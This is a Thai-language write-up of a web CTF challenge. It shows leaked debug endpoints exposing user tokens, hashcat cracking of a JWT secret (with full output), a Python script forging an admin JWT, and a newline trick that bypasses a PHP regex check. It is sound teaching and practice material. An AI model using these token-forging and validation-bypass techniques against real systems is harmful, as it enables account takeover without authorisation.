Skip to content
krits.top

Write-up: STH Mini Web CTF 2025 ครั้งที่ 1

· 4 min

Write-up: STH Mini Web CTF 2025 ครั้งที่ 1

📝 Write-up: STH Mini Web CTF 2025 (ครั้งที่ 1) – Dev.to
📌 รายละเอียดกิจกรรมบน Facebook

ภาพรวมของโจทย์#

🔍แกะรอยช่องโหว่ 🏆ชิงรางวัลสุดพิเศษ กับการแข่งขันด้านความมั่นคงปลอดภัยไซเบอร์ จัดโดย บจก. สยามถนัดแฮก (STH) ผู้ให้บริการด้าน Cyber Security ระดับแนวหน้า

เป้าหมายการเจาะระบบ:

ขั้นตอนเริ่มต้น#

หน้า Login#

เมื่อเข้าเว็บไซต์มาแล้วพบว่า มีแค่หน้า Login โดยที่ไม่มีการบอก Username และ Password
ทำการ Inspect หน้าเว็บพบว่าใน HTML มี Comment ระบุไว้

web_login

web_login

และสามารถนำ username: test และ password: test ที่พบมาทำการ Login

web_login

เมื่อตอน Login ถ้าทำการเช็ค Remember Me จะมีการเก็บ Cookie ของ remember_me เอาไว้ ซึ่งเป็น JWT

cookie_jwt

ขั้นตอนต่อไปต้องหา Secret Key ของ JWT ให้ได้

cookie_jwt

วิเคราะห์โค้ดใน script.js#

หลังจากที่เข้าสู่ระบบแล้ว และเมื่อทำการ Inspect และไปที่เมนู Sources จะพบกับไฟล์ script.js ซึ่งมีโค้ดสำคัญที่เกี่ยวข้องกับการดึงข้อมูลผู้ใช้และฟังก์ชันสำหรับ Debug

web1.ctf.p7z.pw/script.js
21 collapsed lines
document.addEventListener('DOMContentLoaded', () => {
// Fetch the current user's information from the API
fetch('api.php?action=get_userinfo')
.then((response) => response.json())
.then((data) => {
if (data.username) {
// Populate the page with user info
document.getElementById('username').textContent = data.username
document.getElementById('role').textContent = data.role
document.getElementById('status').textContent = data.status
} else if (data.error) {
console.error('API Error:', data.error)
} else {
console.error('Unexpected response format.')
}
})
.catch((err) => {
console.error('Error fetching user info:', err)
})
})
function debugFetchUserTest() {
fetch('api.php?action=get_userinfo&user=test')
.then((response) => response.json())
.then((data) => {
console.log('Debug get_userinfo for user=test:', data)
})
.catch((err) => {
console.error('Error in debugFetchUserTest:', err)
})
}
function debugFetchAllUsers() {
// admin.php
fetch('api.php?action=get_alluser')
.then((response) => response.json())
.then((data) => {
console.log('Debug get_alluser result:', data)
})
.catch((err) => {
console.error('Error in debugFetchAllUsers:', err)
})
}

จะพบกับ 2 ฟังก์ชั่นที่น่าสนใจคือ debugFetchUserTest() และ debugFetchAllUsers()

https://web1.ctf.p7z.pw/api.php?action=get_userinfo&user=test
{
"username": "test",
"role": "user",
"remember_me_token": "b81943ba-d1c5-495a-8427-4711c39256bf",
"status": "Novice scammer, successfully conned 3 victims."
}
https://web1.ctf.p7z.pw/api.php?action=get_alluser
["test", "admin-uat"]

Flag 1: เข้าสู่ระบบเป็นสิทธิ์ผู้ดูแลระบบ#

ขั้นตอนที่ 1: ดึงข้อมูลของ admin-uat#

Terminal window
https://web1.ctf.p7z.pw/api.php?action=get_userinfo&user=admin-uat
https://web1.ctf.p7z.pw/api.php?action=get_userinfo&user=admin-uat
{
"username": "admin-uat",
"role": "admin",
"remember_me_token": "73eb7063-f8c3-4e50-bea2-07c05681aa92",
"status": "Gang boss, oversees all operations."
}

ขั้นตอนที่ 2: Brute-force JWT Secret Key#

Terminal window
$ hashcat -a 0 -m 16500 <JWT_TOKEN> <Wordlist>
Terminal window
$ hashcat -a 0 -m 16500 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0b2tlbiI6ImI4MTk0M2JhLWQxYzUtNDk1YS04NDI3LTQ3MTFjMzkyNTZiZiJ9.Rlk_a69lx16hNhwn4nBfRxhiMGmEDoPIcxfr1_7JdH8 ./rockyou.txt
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, LLVM 17.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu-skylake-avx512-11th Gen Intel(R) Core(TM) i5-11300H @ 3.10GHz, 2899/5863 MB (1024 MB allocatable), 4MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt
25 collapsed lines
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 1 MB
Dictionary cache built:
* Filename..: ./rockyou.txt
* Passwords.: 14344391
* Bytes.....: 139921497
* Keyspace..: 14344384
* Runtime...: 1 sec
Cracking performance lower than expected?
* Append -w 3 to the commandline.
This can cause your screen to lag.
* Append -S to the commandline.
This has a drastic speed impact but can be better for specific attacks.
Typical scenarios are a small wordlist but a large ruleset.
* Update your backend API runtime / driver the right way:
https://hashcat.net/faq/wrongdriver
* Create more work items to make use of your parallelization power:
https://hashcat.net/faq/morework
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0b2tlbiI6ImI4MTk0M2JhLWQxYzUtNDk1YS04NDI3LTQ3MTFjMzkyNTZiZiJ9.Rlk_a69lx16hNhwn4nBfRxhiMGmEDoPIcxfr1_7JdH8:"bobcats"
21 collapsed lines
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 16500 (JWT (JSON Web Token))
Hash.Target......: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0b2tlbiI6Im..._7JdH8
Time.Started.....: Wed Mar 26 22:34:34 2025 (11 secs)
Time.Estimated...: Wed Mar 26 22:34:45 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (./rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 1409.8 kH/s (0.67ms) @ Accel:512 Loops:1 Thr:1 Vec:16
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 14338048/14344384 (99.96%)
Rejected.........: 0/14338048 (0.00%)
Restore.Point....: 14336000/14344384 (99.94%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: #!goth -> !petey!
Hardware.Mon.#1..: Util: 67%
Started: Wed Mar 26 22:34:32 2025
Stopped: Wed Mar 26 22:34:45 2025

ผลลัพธ์การ Brute-force พบ Secret Key คือ

Terminal window
"bobcats"

ขั้นตอนที่ 3: ตรวจสอบความถูกต้องของ Secret Key#

web_login

ขั้นตอนที่ 4: สร้าง JWT Token ของ Admin#

import jwt
import datetime
payload = {
# remember_me_token ของ admin-uat (admin)
"token": "73eb7063-f8c3-4e50-bea2-07c05681aa92",
}
secret_key = '"bobcats"'
encoded_jwt = jwt.encode(payload, secret_key, algorithm="HS256")
print(f"Generated JWT: {encoded_jwt}")
Terminal window
Generated JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0b2tlbiI6IjczZWI3MDYzLWY4YzMtNGU1MC1iZWEyLTA3YzA1NjgxYWE5MiJ9.IFc2uZiX_3x1ihXgRaANOPvmySpQzFz_wMD0up8Ny0I

web_login

web_login

web_login

web_login

ผลลัพธ์ Flag 1#

Terminal window
STH1{310052ba6883872435f7c5aafa850813}

Flag 2: ทำการพิมพ์เงินออกจากระบบ#

วิเคราะห์โค้ดในหน้า /admin.php#

function validateNumber($input) {
if (preg_match('/^[0-9]+$/m', $input)) {
return true;
}
return false;
}
$amount = $_POST['amount'] ?? '';
[...]
if(validateNumber($amount) && strpos($amount, 'STH') ){
$outputMessage = "Printing $amount $denom ... Completed!<br>";
$outputMessage .= "Serial Number: <strong>".$_ENV['FLAG2']."</strong>";
}else{
$outputMessage = 'We need a number, but not a number';
}

รายละเอียดการตรวจสอบ Input

วิธีการโจมตี

123 # validateNumber() ตรวจแค่ "123" → ผ่าน
STH # strpos($amount, 'STH') ยังเจอ "STH"

ใช้ Burp Suite ในการส่งข้อมูล#

web_login

ผลลัพธ์ Flag 2#

Terminal window
STH2{d9d2532fd8ad5419450b5ea34ed93f32}